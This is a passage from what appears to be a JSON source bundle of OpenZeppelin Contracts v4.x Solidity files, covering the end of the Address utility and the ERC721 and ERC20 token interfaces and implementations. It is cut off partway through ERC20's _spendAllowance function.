memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n 